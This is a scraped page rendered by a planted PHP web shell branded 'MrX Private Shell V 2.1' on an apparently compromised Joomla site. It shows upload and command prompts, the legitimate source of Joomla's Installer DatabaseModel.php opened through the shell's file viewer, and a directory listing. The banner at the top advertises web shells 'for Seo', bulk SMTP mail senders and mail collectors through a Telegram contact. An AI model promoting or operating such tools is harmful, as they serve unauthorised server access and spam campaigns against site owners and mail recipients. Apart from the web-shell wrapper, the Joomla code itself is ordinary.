__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Installer\Administrator\Model;

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Schema\ChangeSet;
use Joomla\CMS\Table\Extension;
use Joomla\CMS\Version;
use Joomla\Component\Installer\Administrator\Helper\InstallerHelper;
use Joomla\Database\Exception\ExecutionFailureException;
use Joomla\Database\ParameterType;
use Joomla\Database\QueryInterface;
use Joomla\Registry\Registry;

\JLoader::register('JoomlaInstallerScript', JPATH_ADMINISTRATOR . '/components/com_admin/script.php');

/**
 * Installer Database Model
 *
 * @since  1.6
 */
class DatabaseModel extends InstallerModel
{
    /**
     * Set the model context
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $_context = 'com_installer.discover';

    /**
     * ChangeSet of all extensions
     *
     * @var    array
     *
     * @since  4.0.0
     */
    private $changeSetList = [];

    /**
     * Total of errors
     *
     * @var    integer
     *
     * @since  4.0.0
     */
    private $errorCount = 0;

    /**
     * Constructor.
     *
     * @param   array                 $config   An optional associative array of configuration settings.
     * @param   ?MVCFactoryInterface  $factory  The factory.
     *
     * @see     ListModel
     * @since   4.0.0
     */
    public function __construct($config = [], ?MVCFactoryInterface $factory = null)
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = [
                'update_site_name',
                'name',
                'client_id',
                'client', 'client_translated',
                'status',
                'type', 'type_translated',
                'folder', 'folder_translated',
                'extension_id',
            ];
        }

        parent::__construct($config, $factory);
    }

    /**
     * Method to return the total number of errors in all the extensions, saved in cache.
     *
     * @return  integer
     *
     * @throws  \Exception
     *
     * @since   4.0.0
     */
    public function getErrorCount()
    {
        return $this->errorCount;
    }

    /**
     * Method to populate the schema cache.
     *
     * @param   integer  $cid  The extension ID to get the schema for
     *
     * @return  void
     *
     * @throws  \Exception
     *
     * @since   4.0.0
     */
    private function fetchSchemaCache($cid = 0)
    {
        // We already have it
        if (\array_key_exists($cid, $this->changeSetList)) {
            return;
        }

        // Add the ID to the state so it can be used for filtering
        if ($cid) {
            $this->setState('filter.extension_id', $cid);
        }

        // With the parent::save it can get the limit and we need to make sure it gets all extensions
        $results = $this->_getList($this->getListQuery());

        foreach ($results as $result) {
            $errorMessages = [];
            $errorCount    = 0;

            if (strcmp($result->element, 'joomla') === 0) {
                $result->element = 'com_admin';

                if (!$this->getDefaultTextFilters()) {
                    $errorMessages[] = Text::_('COM_INSTALLER_MSG_DATABASE_FILTER_ERROR');
                    $errorCount++;
                }
            }

            $db        = $this->getDatabase();

            if ($result->type === 'component') {
                $basePath = JPATH_ADMINISTRATOR . '/components/' . $result->element;
            } elseif ($result->type === 'plugin') {
                $basePath = JPATH_PLUGINS . '/' . $result->folder . '/' . $result->element;
            } elseif ($result->type === 'module') {
                // Typehint to integer to normalise some DBs returning strings and others integers
                if ((int) $result->client_id === 1) {
                    $basePath = JPATH_ADMINISTRATOR . '/modules/' . $result->element;
                } elseif ((int) $result->client_id === 0) {
                    $basePath = JPATH_SITE . '/modules/' . $result->element;
                } else {
                    // Module with unknown client id!? - bail
                    continue;
                }
            } elseif ($result->type === 'file' && $result->element === 'com_admin') {
                // Specific bodge for the Joomla CMS special database check which points to com_admin
                $basePath = JPATH_ADMINISTRATOR . '/components/' . $result->element;
            } else {
                // Unknown extension type (library, files etc which don't have known SQL paths right now)
                continue;
            }

            // Search the standard SQL Path for the SQL Updates and then if not there check the configuration of the XML
            // file. This just gives us a small performance win of not parsing the XML every time.
            $folderTmp = $basePath . '/sql/updates/';

            if (!file_exists($folderTmp)) {
                $installationXML = InstallerHelper::getInstallationXML(
                    $result->element,
                    $result->type,
                    $result->client_id,
                    $result->type === 'plugin' ? $result->folder : null
                );

                if ($installationXML !== null) {
                    $folderTmp = (string) $installationXML->update->schemas->schemapath[0];
                    $a         = explode('/', $folderTmp);
                    array_pop($a);
                    $folderTmp = $basePath . '/' . implode('/', $a);
                }
            }

            // Can't find the folder still - give up now and move on.
            if (!file_exists($folderTmp)) {
                continue;
            }

            $changeSet = new ChangeSet($db, $folderTmp);

            // If the version in the #__schemas is different
            // than the update files, add to problems message
            $schema = $changeSet->getSchema();

            // If the schema is empty we couldn't find any update files. Just ignore the extension.
            if (empty($schema)) {
                continue;
            }

            if ($result->version_id !== $schema) {
                $errorMessages[] = Text::sprintf('COM_INSTALLER_MSG_DATABASE_SCHEMA_ERROR', $result->version_id, $schema);
                $errorCount++;
            }

            // If the version in the manifest_cache is different than the
            // version in the installation xml, add to problems message
            $compareUpdateMessage = $this->compareUpdateVersion($result);

            if ($compareUpdateMessage) {
                $errorMessages[] = $compareUpdateMessage;
                $errorCount++;
            }

            // If there are errors in the database, add to the problems message
            $errors = $changeSet->check();

            $errorsMessage = $this->getErrorsMessage($errors);

            if ($errorsMessage) {
                $errorMessages = array_merge($errorMessages, $errorsMessage);
                $errorCount++;
            }

            // Number of database tables Checked and Skipped
            $errorMessages = array_merge($errorMessages, $this->getOtherInformationMessage($changeSet->getStatus()));

            // Set the total number of errors
            $this->errorCount += $errorCount;

            // Collect the extension details
            $this->changeSetList[$result->extension_id] = [
                'folderTmp'     => $folderTmp,
                'errorsMessage' => $errorMessages,
                'errorsCount'   => $errorCount,
                'results'       => $changeSet->getStatus(),
                'schema'        => $schema,
                'extension'     => $result,
            ];
        }
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = 'name', $direction = 'asc')
    {
        parent::populateState($ordering, $direction);
    }

    /**
     * Fixes database problems.
     *
     * @param   array  $cids  List of the selected extensions to fix
     *
     * @return  void|boolean
     *
     * @throws  \Exception
     *
     * @since   4.0.0
     */
    public function fix($cids = [])
    {
        $db = $this->getDatabase();

        foreach ($cids as $i => $cid) {
            // Load the database issues
            $this->fetchSchemaCache($cid);

            $changeSet              = $this->changeSetList[$cid];
            $changeSet['changeset'] = new ChangeSet($db, $changeSet['folderTmp']);
            $changeSet['changeset']->fix();

            $this->fixSchemaVersion($changeSet['changeset'], $changeSet['extension']->extension_id);
            $this->fixUpdateVersion($changeSet['extension']->extension_id);

            if ($changeSet['extension']->element === 'com_admin') {
                $installer = new \JoomlaInstallerScript();
                $installer->deleteUnexistingFiles();
                $this->fixDefaultTextFilters();
            }
        }
    }

    /**
     * Gets the changeset array.
     *
     * @return  array  Array with the information of the versions problems, errors and the extensions itself
     *
     * @throws  \Exception
     *
     * @since   4.0.0
     */
    public function getItems()
    {
        $this->fetchSchemaCache();

        $results = parent::getItems();
        $results = $this->mergeSchemaCache($results);

        return $results;
    }

    /**
     * Method to get the database query
     *
     * @return  QueryInterface  The database query
     *
     * @since   4.0.0
     */
    protected function getListQuery()
    {
        $db    = $this->getDatabase();
        $query = $db->getQuery(true)
            ->select(
                $db->quoteName(
                    [
                        'extensions.client_id',
                        'extensions.element',
                        'extensions.extension_id',
                        'extensions.folder',
                        'extensions.manifest_cache',
                        'extensions.name',
                        'extensions.type',
                        'schemas.version_id',
                    ]
                )
            )
            ->from(
                $db->quoteName(
                    '#__schemas',
                    'schemas'
                )
            )
            ->join(
                'INNER',
                $db->quoteName('#__extensions', 'extensions'),
                $db->quoteName('schemas.extension_id') . ' = ' . $db->quoteName('extensions.extension_id')
            );

        $type        = $this->getState('filter.type');
        $clientId    = $this->getState('filter.client_id');
        $extensionId = $this->getState('filter.extension_id');
        $folder      = $this->getState('filter.folder');

        if ($type) {
            $query->where($db->quoteName('extensions.type') . ' = :type')
                ->bind(':type', $type);
        }

        if ($clientId != '') {
            $clientId = (int) $clientId;
            $query->where($db->quoteName('extensions.client_id') . ' = :clientid')
                ->bind(':clientid', $clientId, ParameterType::INTEGER);
        }

        if ($extensionId != '') {
            $extensionId = (int) $extensionId;
            $query->where($db->quoteName('extensions.extension_id') . ' = :extensionid')
                ->bind(':extensionid', $extensionId, ParameterType::INTEGER);
        }

        if ($folder != '' && \in_array($type, ['plugin', 'library', ''])) {
            $folder = $folder === '*' ? '' : $folder;
            $query->where($db->quoteName('extensions.folder') . ' = :folder')
                ->bind(':folder', $folder);
        }

        // Process search filter (update site id).
        $search = $this->getState('filter.search');

        if (!empty($search) && stripos($search, 'id:') === 0) {
            $ids = (int) substr($search, 3);
            $query->where($db->quoteName('schemas.extension_id') . ' = :eid')
                ->bind(':eid', $ids, ParameterType::INTEGER);
        }

        return $query;
    }

    /**
     * Merge the items that will be visible with the changeSet information in cache
     *
     * @param   array  $results  extensions returned from parent::getItems().
     *
     * @return  array  the changeSetList of the merged items
     *
     * @since   4.0.0
     */
    protected function mergeSchemaCache($results)
    {
        $changeSetList = $this->changeSetList;
        $finalResults  = [];

        foreach ($results as $result) {
            if (\array_key_exists($result->extension_id, $changeSetList) && $changeSetList[$result->extension_id]) {
                $finalResults[] = $changeSetList[$result->extension_id];
            }
        }

        return $finalResults;
    }

    /**
     * Get version from #__schemas table.
     *
     * @param   integer  $extensionId  id of the extensions.
     *
     * @return  mixed  the return value from the query, or null if the query fails.
     *
     * @throws  \Exception
     *
     * @since   4.0.0
     */
    public function getSchemaVersion($extensionId)
    {
        $db          = $this->getDatabase();
        $extensionId = (int) $extensionId;
        $query       = $db->getQuery(true)
            ->select($db->quoteName('version_id'))
            ->from($db->quoteName('#__schemas'))
            ->where($db->quoteName('extension_id') . ' = :extensionid')
            ->bind(':extensionid', $extensionId, ParameterType::INTEGER);
        $db->setQuery($query);

        return $db->loadResult();
    }

    /**
     * Fix schema version if wrong.
     *
     * @param   ChangeSet  $changeSet    Schema change set.
     * @param   integer    $extensionId  ID of the extensions.
     *
     * @return  mixed  string schema version if success, false if fail.
     *
     * @throws  \Exception
     *
     * @since   4.0.0
     */
    public function fixSchemaVersion($changeSet, $extensionId)
    {
        // Get correct schema version -- last file in array.
        $schema = $changeSet->getSchema();

        // Check value. If ok, don't do update.
        if ($schema == $this->getSchemaVersion($extensionId)) {
            return $schema;
        }

        // Delete old row.
        $extensionId = (int) $extensionId;
        $db          = $this->getDatabase();
        $query       = $db->getQuery(true)
            ->delete($db->quoteName('#__schemas'))
            ->where($db->quoteName('extension_id') . ' = :extensionid')
            ->bind(':extensionid', $extensionId, ParameterType::INTEGER);
        $db->setQuery($query)->execute();

        // Add new row.
        $query->clear()
            ->insert($db->quoteName('#__schemas'))
            ->columns($db->quoteName('extension_id') . ',' . $db->quoteName('version_id'))
            ->values(':extensionid, :schema')
            ->bind(':extensionid', $extensionId, ParameterType::INTEGER)
            ->bind(':schema', $schema);
        $db->setQuery($query);

        try {
            $db->execute();
        } catch (ExecutionFailureException) {
            return false;
        }

        return $schema;
    }

    /**
     * Get current version from #__extensions table.
     *
     * @param   object  $extension  data from #__extensions of a single extension.
     *
     * @return  mixed  string message with the errors with the update version or null if none
     *
     * @since   4.0.0
     */
    public function compareUpdateVersion($extension)
    {
        $updateVersion = json_decode($extension->manifest_cache)->version;

        if ($extension->element === 'com_admin') {
            $extensionVersion = JVERSION;
        } else {
            $installationXML = InstallerHelper::getInstallationXML(
                $extension->element,
                $extension->type,
                $extension->client_id,
                $extension->type === 'plugin' ? $extension->folder : null
            );

            $extensionVersion = (string) $installationXML->version;
        }

        if (version_compare($extensionVersion, $updateVersion) != 0) {
            return Text::sprintf('COM_INSTALLER_MSG_DATABASE_UPDATEVERSION_ERROR', $updateVersion, $extension->name, $extensionVersion);
        }

        return null;
    }

    /**
     * Get a message of the tables skipped and checked
     *
     * @param   array  $status  status of the update files
     *
     * @return  array  Messages with the errors with the update version
     *
     * @since   4.0.0
     */
    private function getOtherInformationMessage($status)
    {
        $problemsMessage   = [];
        $problemsMessage[] = Text::sprintf('COM_INSTALLER_MSG_DATABASE_CHECKED_OK', \count($status['ok']));
        $problemsMessage[] = Text::sprintf('COM_INSTALLER_MSG_DATABASE_SKIPPED', \count($status['skipped']));

        return $problemsMessage;
    }

    /**
     * Get a message with all errors found in a given extension
     *
     * @param   array  $errors  data from #__extensions of a single extension.
     *
     * @return  array  List of messages with the errors in the database
     *
     * @since   4.0.0
     */
    private function getErrorsMessage($errors)
    {
        $errorMessages = [];

        foreach ($errors as $line => $error) {
            $key             = 'COM_INSTALLER_MSG_DATABASE_' . $error->queryType;
            $messages        = $error->msgElements;
            $file            = basename($error->file);
            $message0        = $messages[0] ?? ' ';
            $message1        = $messages[1] ?? ' ';
            $message2        = $messages[2] ?? ' ';
            $errorMessages[] = Text::sprintf($key, $file, $message0, $message1, $message2);
        }

        return $errorMessages;
    }

    /**
     * Fix Joomla version in #__extensions table if wrong (doesn't equal \JVersion short version).
     *
     * @param   integer  $extensionId  id of the extension
     *
     * @return  mixed  string update version if success, false if fail.
     *
     * @since   4.0.0
     */
    public function fixUpdateVersion($extensionId)
    {
        $table = new Extension($this->getDatabase());
        $table->load($extensionId);
        $cache         = new Registry($table->manifest_cache);
        $updateVersion = $cache->get('version');

        if ($table->type === 'file' && $table->element === 'joomla') {
            $extensionVersion = new Version();
            $extensionVersion = $extensionVersion->getShortVersion();
        } else {
            $installationXML = InstallerHelper::getInstallationXML(
                $table->element,
                $table->type,
                $table->client_id,
                $table->type === 'plugin' ? $table->folder : null
            );
            $extensionVersion = (string) $installationXML->version;
        }

        if ($updateVersion === $extensionVersion) {
            return $updateVersion;
        }

        $cache->set('version', $extensionVersion);
        $table->manifest_cache = $cache->toString();

        if ($table->store()) {
            return $extensionVersion;
        }

        return false;
    }

    /**
     * For version 2.5.x only
     * Check if com_config parameters are blank.
     *
     * @return  string  default text filters (if any).
     *
     * @since   4.0.0
     */
    public function getDefaultTextFilters()
    {
        $table = new Extension($this->getDatabase());
        $table->load($table->find(['name' => 'com_config']));

        return $table->params;
    }

    /**
     * For version 2.5.x only
     * Check if com_config parameters are blank. If so, populate with com_content text filters.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    private function fixDefaultTextFilters()
    {
        $table = new Extension($this->getDatabase());
        $table->load($table->find(['name' => 'com_config']));

        // Check for empty $config and non-empty content filters.
        if (!$table->params) {
            // Get filters from com_content and store if you find them.
            $contentParams = ComponentHelper::getComponent('com_content')->getParams();

            if ($contentParams->get('filters')) {
                $newParams = new Registry();
                $newParams->set('filters', $contentParams->get('filters'));
                $table->params = (string) $newParams;
                $table->store();
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
DatabaseModel.php File 20.64 KB 0664
DiscoverModel.php File 9.02 KB 0664
InstallModel.php File 15.27 KB 0664
InstallerModel.php File 8.5 KB 0664
LanguagesModel.php File 7.54 KB 0664
ManageModel.php File 15.08 KB 0664
UpdateModel.php File 20.73 KB 0664
UpdatesiteModel.php File 5.06 KB 0664
UpdatesitesModel.php File 23 KB 0664
WarningsModel.php File 5.29 KB 0664
Filemanager